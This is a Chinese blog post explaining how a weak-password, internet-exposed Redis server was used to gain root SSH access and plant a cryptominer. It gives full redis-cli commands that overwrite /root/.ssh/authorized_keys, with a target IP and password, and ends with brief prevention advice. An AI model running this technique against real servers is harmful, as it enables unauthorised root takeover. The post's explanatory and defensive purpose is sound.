redis远程登录导致挖矿病毒入侵原理及防范

朋友的云服务器被挖矿病毒入侵,清除病毒后没多久又发现被入侵了。
原来是因为redis密码设置过于简单,被远程登录后植入了挖矿病毒。
今天我们顺便来还原一下现场。

  • 目标服务器地址:47.100.162.168
  • redis端口号:6379
  • redis密码:123456

前提条件

  1. 对方服务器部署了redis,并且开放了外网端口,我们也知道端口是多少(一般默认6379)
  2. 对方redis免密或者密码过于简单我们能猜到到,比如123456。
  3. 最好对方redis使用root用户启动的。

开始搞事情

创建公私钥对

生成一对公私钥,用户远程登录目标服务器。如果已有,可以用原来的。

1
2
cd ~/.ssh
ssh-keygen -t rsa #(连续三次回车,即在本地生成公钥和私钥, 不设置密码)

接下来通过公钥生成攻击键值

1
[root@iZbp16ix79aknv9fhzijnkZ .ssh]# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt

看一眼

1
2
3
4
5
6
7
8
9
[root@iZbp16ix79aknv9fhzijnkZ .ssh]# cat foo.txt 



ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI6GATRdVh6PtyIm4aBkn7EwCGvfloyEt+iSWCFqnKKbxrN7J9GPcm0HO9vYRM71CogB7HB5Y+zlyMX2YiaL2tD9l9y9dJqZ/yhd6an7DLFhxwyfcTzQ24/RTlRGpRiZOcDhA3scvuuoersYY3YsXaCf+Epr8aDGPeESdg18zNj/xUEPx79qqlPiU1iLqr+3uOs8FuwTQcAw+T7By4dm+wrx/n0l+IgzX+1RZOfnmjXrUJ08iG63ssn6GjeUgzBpVK8VpfGGjTS4zD7gXU2CGCN/PIsfWdp431DbuzQeiT5SzmnzXcUwOVNAzCoDkdUcAQ/CQ1aD048kb38b066a7x root@iZbp16ix79aknv9fhzijnkZ




这里前后增加两个换行符是为了防止数据连接在一起造成失效问题。

配置key到远程redis中

1
2
[root@iZbp16ix79aknv9fhzijnkZ bin]# cat foo.txt |redis-cli -h 47.100.162.168 -a 123456 -x set bar
OK

登录Redis进行检查,是否已经写入进Redis中。

1
2
3
[root@iZbp16ix79aknv9fhzijnkZ bin]# redis-cli -h 47.100.162.168 -a 123456
47.100.162.168:6379> get bar
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI6GATRdVh6PtyIm4aBkn7EwCGvfloyEt+iSWCFqnKKbxrN7J9GPcm0HO9vYRM71CogB7HB5Y+zlyMX2YiaL2tD9l9y9dJqZ/yhd6an7DLFhxwyfcTzQ24/RTlRGpRiZOcDhA3scvuuoersYY3YsXaCf+Epr8aDGPeESdg18zNj/xUEPx79qqlPiU1iLqr+3uOs8FuwTQcAw+T7By4dm+wrx/n0l+IgzX+1RZOfnmjXrUJ08iG63ssn6GjeUgzBpVK8VpfGGjTS4zD7gXU2CGCN/PIsfWdp431DbuzQeiT5SzmnzXcUwOVNAzCoDkdUcAQ/CQ1aD048kb38b066a7x root@iZbp16ix79aknv9fhzijnkZ\n\n\n\n"

通过Redis保存机制替换系统文件

1
2
3
4
5
6
7
8
9
10
47.100.162.168:6379> config set dir /root/.ssh
OK
47.100.162.168:6379> config get dir
1) "dir"
2) "/root/.ssh"
47.100.162.168:6379> config set dbfilename "authorized_keys"
OK
47.100.162.168:6379> save
OK
47.100.162.168:6379> exit

这个时候,我们登录远程主机看下效果。

1
2
3
4
5
6
7
8
9
[root@iZbp16ix79aknv9fhzijnkZ .ssh]# ssh -i id_rsa root@192.168.243.129
The authenticity of host '47.100.162.168 (47.100.162.168)' can't be established.
ECDSA key fingerprint is SHA256:TK5d6O4ku0kDFkS6YVXU9oTVqNlrDZtKO5W1N5FfF1k.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '47.100.162.168' (ECDSA) to the list of known hosts.
Last login: Thu Jul 11 18:12:34 2019 from 27.115.27.22

Welcome to Alibaba Cloud Elastic Compute Service !

这里我们已经成功获取到目标服务器的root权限了,那我们看下导出文件到底是什么呢?其实就是Redis的保存文件形式罢了,有兴趣可以自己打开看看,这里不再展示。

如何预防

这个漏洞威力还是挺大的,已经拿到root权限,就可以为所以为了。那么我们该如何防范呢?

防范的技巧如下:

  • Redis尽量是内网访问,不要开放外网访问权限;
  • Redis在开放外网访问的时候一定要增加密码限制,且不能是弱口令;
  • Redis尽量不要用Root用户身份来启动。

redis远程登录导致挖矿病毒入侵原理及防范
https://www.wekri.com/linux/mining-virus-intrusion-caused-by-redis/
Author
Echo
Posted on
July 19, 2019
Licensed under